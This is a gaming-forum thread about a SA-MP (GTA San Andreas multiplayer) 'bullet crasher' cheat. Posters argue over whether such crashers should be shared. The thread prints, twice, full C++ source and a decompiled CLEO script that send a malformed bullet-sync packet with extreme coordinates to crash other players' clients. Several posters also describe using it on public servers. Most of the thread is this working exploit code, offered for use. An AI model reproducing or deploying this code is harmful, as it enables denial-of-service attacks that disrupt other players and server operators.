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CLEO Release Bullet Crasher 0.3z

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m1zg4rd_PL

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T3K link said:
there you go [member=3732]m1zg4rd[/member]

Not in that way, crashers should be private, even if someone (for example: me) want it very much because this is very powerful stuff.
 

snowybiz

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This crasher should be interesting if they couldn't share for free It's not powerfull this cRASHER SUCKS now the owner of

HostName: GamerX 0.3z - Visit gamerxserver.com
Address:  37.187.154.36:8800
Players:  96 / 479
Ping:    66
Mode:    DM,Stunts,Racing,Freeroam
Map:      GamerX

Nickname owner: Mattie Patched that shit.
 

DzkAy

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NoJustNo link said:
oresko i beg u to take the download down , if u dont they will get here and patch it .......
Free shit should be patched , don't be selfish buddy , i've been using this for 2 days but i can't STOP 0RES from releasing this .. :trollface:
 

snowybiz

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D.Kay link said:
Free shit should be patched , don't be selfish buddy , i've been using this for 2 days but i can't STOP 0RES from releasing this .. :trollface:

I give you the correct source of who made this awful script

Made in C++
Code:
void cheat_generic_bullet_crasher()
{
    if(cheat_state->_generic.bullet_crasher) //by urShadow for BlastHack.Net
    {
        static DWORD time;
        if(GetTickCount() - 40 > time)
        {
            BULLET_SYNC_DATA sBulletSync;
            memset(&sBulletSync, 0, sizeof(BULLET_SYNC_DATA));       
 
            sBulletSync.byteHitType = 1;
            sBulletSync.usHitID = g_Players->sLocalPlayerID;
            float fValue = (float)0x7777777B;
            sBulletSync.fCenterOfHit[0] = fValue;
            sBulletSync.fCenterOfHit[1] = fValue;
            sBulletSync.fCenterOfHit[2] = fValue;                   
 
            RakNet::BitStream bsBulletSync;
            bsBulletSync.Write((BYTE)ID_BULLET_SYNC);
            bsBulletSync.Write((PCHAR)&sBulletSync, sizeof(BULLET_SYNC_DATA));
            pSAMP->Send(&bsBulletSync);       
           
            time = GetTickCount();
        }
    }
}


And after builded in the Sanny Builder made By FYP and urShadow.

Code:
// This file was decompiled using sascm.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013

{$VERSION 3.1.1000}
{$CLEO .cs}

//-------------MAIN---------------
thread "BulletZOMFGCrasher" 
0662: printstring "Made by FYP and urShadow" 
0662: printstring "BlastHack.Net" 
0@ = 0 
4@ = 0 

:BulletZOMFGCrasher_81
   not SAMP.Available
else_jump @BulletZOMFGCrasher_102 
wait 1337 
jump @BulletZOMFGCrasher_81 

:BulletZOMFGCrasher_102
0AC8: 1@ = allocate_memory_size 39 

:BulletZOMFGCrasher_109
wait 0 
if 
   Player.Defined(0)
else_jump @BulletZOMFGCrasher_451 
if and
0AB0:   key_pressed 66 
0AB0:   key_pressed 67 
else_jump @BulletZOMFGCrasher_374 
0B12: 0@ = 0@ XOR 1 
if 
  0@ == 1 
else_jump @BulletZOMFGCrasher_262 
0ACD: show_text_highpriority "~w~ZOMFG Bullet Crasher ~g~activated!~n~~w~urShadow~n~FYP~n~BlastHack.Net" time 1337 
jump @BulletZOMFGCrasher_344 

:BulletZOMFGCrasher_262
0ACD: show_text_highpriority "~w~ZOMFG Bullet Crasher ~r~deactivated!~n~~w~urShadow~n~FYP~n~BlastHack.Net" time 1337 

:BulletZOMFGCrasher_344
wait 100 
if and
0AB0:   key_pressed 66 
0AB0:   key_pressed 67 
else_jump @BulletZOMFGCrasher_374 
jump @BulletZOMFGCrasher_344 

:BulletZOMFGCrasher_374
if 
  0@ == 1 
else_jump @BulletZOMFGCrasher_451 
0A8D: 5@ = read_memory 12045188 size 4 virtual_protect 0 
0A8F: 6@ = 5@ - 4@ // int 
if 
  6@ > 1000 
else_jump @BulletZOMFGCrasher_451 
gosub @BulletZOMFGCrasher_458 
0085: 4@ = 5@ // (int) 

:BulletZOMFGCrasher_451
jump @BulletZOMFGCrasher_109 

:BulletZOMFGCrasher_458
0C11: memset destination 1@ value 0 size 39 
0C0D:  struct 1@ offset 0 size 1 = 1 
2@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
0C0D:  struct 1@ offset 1 size 2 = 2@ 
0C0D:  struct 1@ offset 27 size 4 = 2.004318E09 
0C0D:  struct 1@ offset 31 size 4 = 2.004318E09 
0C0D:  struct 1@ offset 35 size 4 = 2.004318E09 
0AB1: call_scm_func @BulletZOMFGCrasher_555 1 1@ 
return 

:BulletZOMFGCrasher_555
1@ = RakNet.NewBitStream()
RakNet.Write(1@, 224, BS_TYPE_BYTE, 0)
RakNet.Write(1@, 0@, BS_TYPE_ARRAY, 39)
RakNet.Send(1@, 1, 7, 0)
0AB2: ret 0

Happy patching the noob script.
 

0B36

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It wasn't 2 days ago, it was yesterday. Check the timestamp on blasthack thread.
 

DzkAy

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Evangelical link said:
It wasn't 2 days ago, it was yesterday. Check the timestamp on blasthack thread.
kkk i'm mistaken.
 

snowybiz

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0RESKO link said:
first urshadow didnt made it

WTFisThisShit.png


bba0938c3c.png
 
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snowybiz link said:

Made it public maybe, but it's fuckin' old. Also stop throwing shit around if you don't like something. Crasher are only made PUBLIC when someone wants them patched. So deal with it.
 

C0RE

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You should close this so it dont get patched, oh wait prolly too late  :angry:
 

jasonsmith

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snowybiz link said:
I give you the correct source of who made this awful script

Made in C++
Code:
void cheat_generic_bullet_crasher()
{
    if(cheat_state->_generic.bullet_crasher) //by urShadow for BlastHack.Net
    {
        static DWORD time;
        if(GetTickCount() - 40 > time)
        {
            BULLET_SYNC_DATA sBulletSync;
            memset(&sBulletSync, 0, sizeof(BULLET_SYNC_DATA));       
 
            sBulletSync.byteHitType = 1;
            sBulletSync.usHitID = g_Players->sLocalPlayerID;
            float fValue = (float)0x7777777B;
            sBulletSync.fCenterOfHit[0] = fValue;
            sBulletSync.fCenterOfHit[1] = fValue;
            sBulletSync.fCenterOfHit[2] = fValue;                   
 
            RakNet::BitStream bsBulletSync;
            bsBulletSync.Write((BYTE)ID_BULLET_SYNC);
            bsBulletSync.Write((PCHAR)&sBulletSync, sizeof(BULLET_SYNC_DATA));
            pSAMP->Send(&bsBulletSync);       
           
            time = GetTickCount();
        }
    }
}


And after builded in the Sanny Builder made By FYP and urShadow.

Code:
// This file was decompiled using sascm.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013

{$VERSION 3.1.1000}
{$CLEO .cs}

//-------------MAIN---------------
thread "BulletZOMFGCrasher" 
0662: printstring "Made by FYP and urShadow" 
0662: printstring "BlastHack.Net" 
0@ = 0 
4@ = 0 

:BulletZOMFGCrasher_81
   not SAMP.Available
else_jump @BulletZOMFGCrasher_102 
wait 1337 
jump @BulletZOMFGCrasher_81 

:BulletZOMFGCrasher_102
0AC8: 1@ = allocate_memory_size 39 

:BulletZOMFGCrasher_109
wait 0 
if 
   Player.Defined(0)
else_jump @BulletZOMFGCrasher_451 
if and
0AB0:   key_pressed 66 
0AB0:   key_pressed 67 
else_jump @BulletZOMFGCrasher_374 
0B12: 0@ = 0@ XOR 1 
if 
  0@ == 1 
else_jump @BulletZOMFGCrasher_262 
0ACD: show_text_highpriority "~w~ZOMFG Bullet Crasher ~g~activated!~n~~w~urShadow~n~FYP~n~BlastHack.Net" time 1337 
jump @BulletZOMFGCrasher_344 

:BulletZOMFGCrasher_262
0ACD: show_text_highpriority "~w~ZOMFG Bullet Crasher ~r~deactivated!~n~~w~urShadow~n~FYP~n~BlastHack.Net" time 1337 

:BulletZOMFGCrasher_344
wait 100 
if and
0AB0:   key_pressed 66 
0AB0:   key_pressed 67 
else_jump @BulletZOMFGCrasher_374 
jump @BulletZOMFGCrasher_344 

:BulletZOMFGCrasher_374
if 
  0@ == 1 
else_jump @BulletZOMFGCrasher_451 
0A8D: 5@ = read_memory 12045188 size 4 virtual_protect 0 
0A8F: 6@ = 5@ - 4@ // int 
if 
  6@ > 1000 
else_jump @BulletZOMFGCrasher_451 
gosub @BulletZOMFGCrasher_458 
0085: 4@ = 5@ // (int) 

:BulletZOMFGCrasher_451
jump @BulletZOMFGCrasher_109 

:BulletZOMFGCrasher_458
0C11: memset destination 1@ value 0 size 39 
0C0D:  struct 1@ offset 0 size 1 = 1 
2@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
0C0D:  struct 1@ offset 1 size 2 = 2@ 
0C0D:  struct 1@ offset 27 size 4 = 2.004318E09 
0C0D:  struct 1@ offset 31 size 4 = 2.004318E09 
0C0D:  struct 1@ offset 35 size 4 = 2.004318E09 
0AB1: call_scm_func @BulletZOMFGCrasher_555 1 1@ 
return 

:BulletZOMFGCrasher_555
1@ = RakNet.NewBitStream()
RakNet.Write(1@, 224, BS_TYPE_BYTE, 0)
RakNet.Write(1@, 0@, BS_TYPE_ARRAY, 39)
RakNet.Send(1@, 1, 7, 0)
0AB2: ret 0

Happy patching the noob script.


Your are and I mean the biggest bitch I noe.. for decompiling de code surs... :face_palm:

JUST POTATO :angry:
 

Hidend

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I don't know why that shit don't do nothing, don't appear any msg...

tried with cleo 4.1, 4.3, sf 3.1.2, 3.2, gta sa 1.0, mgfuncs 4.3, and no work, what a shit
 
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